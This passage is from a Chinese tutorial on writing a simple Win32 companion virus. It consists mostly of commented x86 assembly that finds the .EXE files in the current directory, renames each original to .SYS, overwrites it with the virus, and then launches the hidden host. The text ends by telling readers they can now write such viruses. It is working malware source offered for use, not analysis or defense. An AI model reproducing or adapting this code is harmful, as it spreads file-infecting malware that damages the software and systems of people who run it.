网络安全 频道

对简单Win32伴侣病毒的研究

FindNext:

test eax,eax    ;还有文件?

jz RunHost    ;如果没有就跳到RunHost



;+++++

; 当eax是null,说明当前目录里没有更多的文件可以被感染了

; 所有的文件都感染后就运行宿主

;+++++





push offset WFD_szFileName

push offset HostCopy

call lstrcpyA



;+++++

; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它

;+++++





mov esi,offset HostCopy

call GetPoint



;+++++

; 得到指针来重命名文件名为.SYS

; 稍后使用它复制原先的文件为宿主文件

;+++++





mov dword ptr [esi],5359532Eh  ; SYS.



;+++++

; 把它重命名为 .SYS (last 4 letters)

; 现在我们做所以工作完成感染目标文件:

; 病毒文件名

; 原先文件名

; 重命名目标文件名

; rock ’n roll =)

;+++++





push 1     ;如果文件已存在就不复制

push offset HostCopy

push offset WFD_szFileName

call CopyFileA



;+++++

; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys

; 如果文件已经存在,我们就不要复制它,我们不能复制它两次

;+++++





push 0     ;无条件复制

push offset WFD_szFileName

push offset VirusFile

call CopyFileA



;+++++

; 我们复制病毒为目标.EXE文件

; 无条件复制,因为我们不能有两个宿主而没有病毒

;+++++





push offset WIN32_FIND_DATA

push dword ptr [FindHandle]

call FindNextFileA

jmp FindNext



;+++++

; 你还记得我们保存FindHandle吧...

; 我们搜索更多的文件!

; 跳到FindNext并检查更多的文件

;+++++





RunHost:

xor eax,eax    ;null

push offset ProcessInfo   ;这个,我们不感兴趣

push offset StartupInfo   ;...

push eax

push eax

push 00000010h    ;创建进程

push eax

push eax

push eax

push offset HostFile

push offset HostFile   ;运行它

call CreateProcessA



;+++++

; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行

;+++++





push 0

call ExitProcess



;+++++

; 所有这些做完,我们把控制交给宿主

;+++++





GetPoint:

cmp byte ptr [esi],’.’   ;point?

jz FoundPoint    ;je return

inc esi     ;scan next place

jmp GetPoint

FoundPoint:

ret     ;return



;+++++

; at last the GetPoint procedure...

; scan for ’.’ and if found return to place where are called

;+++++





end start



;+++++

; 晚安

;+++++



;-----cut------------------------------------------------------------

4.结束语

嗯,教程完毕,现在你可以写Win32伴侣病毒了。向Benny/29A表示致谢,是你用杰出的文章激发我写下这篇教程。

0
相关文章